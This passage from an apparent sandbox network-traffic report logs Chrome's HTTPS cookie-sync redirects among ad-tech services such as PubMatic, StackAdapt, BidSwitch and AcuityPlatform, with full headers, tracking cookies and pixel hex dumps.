2024-01-10 23:27:21 UTC	816	OUT	GET /pbmtc.gif?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=$UID HTTP/1.1 Host: beacon.lynx.cognitivlabs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:21 UTC	337	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Length: 0 Connection: close Server: Kestrel Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=c1104da8-8b46-4cf5-be20-49100dc0f27c&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
441	192.168.2.4	50241	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	1990	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:Rw6Yt2Jl1RnHYF5&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240
2024-01-10 23:27:21 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:21 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:21 GMT; path=/ Set-Cookie: PugT=1704929241; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:21 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:21 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
442	192.168.2.4	50239	54.174.90.242	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	718	OUT	GET /sync?nid=11&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.srv.stackadapt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:21 UTC	1395	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Wed, 10 Jan 2024 23:27:21 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= Set-Cookie: sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id=s%3A0-88cea7cc-414b-5931-4490-9389000b3410.YX8fBqWbbKIl9htyS%2BuNQoiPjQDzg%2BxgiaqyMjX0kfw; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v2=s%3AiM6nzEFLWTFEkJOJAAs0EGalMCo.OWSeOwcZ0xOe3VtaYbow6MRlFZ6Ze%2BHwMl9A3b37RbE; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4; Max-Age=31536000; Secure; SameSite=None Set-Cookie: sa-user-id-v3=s%3AAQAKIGnrengvFsmRP0yBGLf-VZ-GhBAQvioZQ5D7yTVlaVz8EHwYBCDZz_ysBjABOgT87-jmQgT3zKKw.VoS4EyYPwPHvI%2B7j09TsjbqLoc23LlMtt%2Bw2wvffG%2B4; Domain=srv.stackadapt.com; Max-Age=31536000; Secure; SameSite=None Content-Length: 188 Connection: Close
2024-01-10 23:27:21 UTC	188	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4d 7a 45 6d 64 47 77 39 4d 54 49 35 4e 6a 41 77 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 69 4d 36 6e 7a 45 46 4c 57 54 46 45 6b 4a 4f 4a 41 41 73 30 45 47 61 6c 4d 43 6f 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
443	192.168.2.4	50244	52.87.108.188	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	908	OUT	GET /cookie-sync?gdpr=0&gdpr=0&bee_sync_partners=syn%2Cpm&bee_sync_current_partner=sas&bee_sync_initiator=adx&bee_sync_hop_count=3&userid=5415633966123335522&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
2024-01-10 23:27:22 UTC	652	IN	HTTP/1.1 303 See Other Date: Wed, 10 Jan 2024 23:27:22 GMT location: https://sync.technoratimedia.com/services?uid=AABsm07LPlAAABMLLoldYg&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26userid%3D5415633966123335522%26gdpr%3D0%26gdpr_consent%3D%26bee_sync_partners%3Dpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D4&gdpr=0 Server: gunicorn set-cookie: bito=AABsm07LPlAAABMLLoldYg; Domain=bidr.io; expires=Sat, 08 Feb 2025 18:27:22 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
444	192.168.2.4	50242	69.90.254.78	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	695	OUT	GET /tum?umid=6 HTTP/1.1 Host: ums.acuityplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:22 UTC	674	IN	HTTP/1.1 302 Found Content-Length: 0 Access-Control-Allow-Origin: * Set-Cookie: auid=875421843233; Domain=.acuityplatform.com; Expires=Thu, 09-Jan-2025 23:27:22 GMT; Path=/; SameSite=None; Secure Set-Cookie: aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02Oly6mGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9Njpcuo90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="; Version=1; Domain=.acuityplatform.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 23:27:22 GMT; Path=/; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233
2024-01-10 23:27:25 UTC	926	OUT	GET /tum?umid=6 HTTP/1.1 Host: ums.acuityplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: auid=875421843233; aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02Oly6mGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9Njpcuo90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="
2024-01-10 23:27:25 UTC	674	IN	HTTP/1.1 302 Found Content-Length: 0 Access-Control-Allow-Origin: * Set-Cookie: auid=875421843233; Domain=.acuityplatform.com; Expires=Thu, 09-Jan-2025 23:27:25 GMT; Path=/; SameSite=None; Secure Set-Cookie: aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02O0ySmGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9NjtMko90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="; Version=1; Domain=.acuityplatform.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 23:27:25 GMT; Path=/; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233
2024-01-10 23:27:26 UTC	926	OUT	GET /tum?umid=6 HTTP/1.1 Host: ums.acuityplatform.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: auid=875421843233; aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02O0ySmGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9NjtMko90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="
2024-01-10 23:27:26 UTC	674	IN	HTTP/1.1 302 Found Content-Length: 0 Access-Control-Allow-Origin: * Set-Cookie: auid=875421843233; Domain=.acuityplatform.com; Expires=Thu, 09-Jan-2025 23:27:26 GMT; Path=/; SameSite=None; Secure Set-Cookie: aum="OikKAfqbdXNlck1hdGNoQnlVc2VyTWF0Y2hpbmdJZE1hcPqANvqNdXNlck1hdGNoaW5nSWTMkWxhc3REcm9wVGltZU1pbGxpcyUBRj02O3aAmGxhc3RTdWNjZXNzZnVsTWF0Y2hNaWxsaXMlAUY9Njt2gI90aGlyZFBhcnR5VXNlcklkIfv7hnZlcnNpb27C+w=="; Version=1; Domain=.acuityplatform.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 23:27:26 GMT; Path=/; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI5NDcmdGw9MTI5NjAw&piggybackCookie=875421843233

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
445	192.168.2.4	50243	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:21 UTC	1124	OUT	GET /sync?dsp_id=119&user_id=968062845637553879&expires=30&ssp=pubmatic HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239; custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0
2024-01-10 23:27:22 UTC	614	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9Mjk0NSZ0bD0xMjk2MDA=&piggybackCookie=f6435827-796b-4521-81e9-11e581628f69&gdpr=&gdpr_consent=&gdpr_pd=&us_privacy= Set-Cookie: custom_data=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.4	50246	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2274	OUT	GET /AdServer/Pug?vcode=bz0xJnR5cGU9MSZjb2RlPTM0MzkmdGw9MTI5NjAw&piggybackCookie=c1104da8-8b46-4cf5-be20-49100dc0f27c&r=https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=${PUBMATIC_UID} HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; PugT=1704929240; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-
2024-01-10 23:27:22 UTC	781	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:22 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; domain=pubmatic.com; SameSite=None; secure; expires=Tue, 09-Apr-2024 23:27:22 GMT; path=/ Set-Cookie: PugT=1704929242; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:22 GMT; path=/ Location: https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	50245	35.214.246.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	819	OUT	GET /?pubid=11331&redirect=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzImdGw9MTI5NjAw&piggybackCookie={viewer_token} HTTP/1.1 Host: csync.loopme.me Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:22 UTC	378	IN	HTTP/1.1 307 Temporary Redirect set-cookie: viewer_token=c250b6eb-10fb-4071-a401-07c4929b89a6; path=/; domain=csync.loopme.me; secure; HttpOnly; Expires=Wed, 10-Apr-2024 23:27:22 GMT; SameSite=None location: https://simage2.pubmatic.com/AdServer/Pug?vcode&piggybackCookie={viewer_token} content-length: 0 date: Wed, 10 Jan 2024 23:27:22 GMT server: _ connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	50249	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:22 UTC	2288	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzEmdGw9MTI5NjAw&piggybackCookie=iM6nzEFLWTFEkJOJAAs0EGalMCo&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; 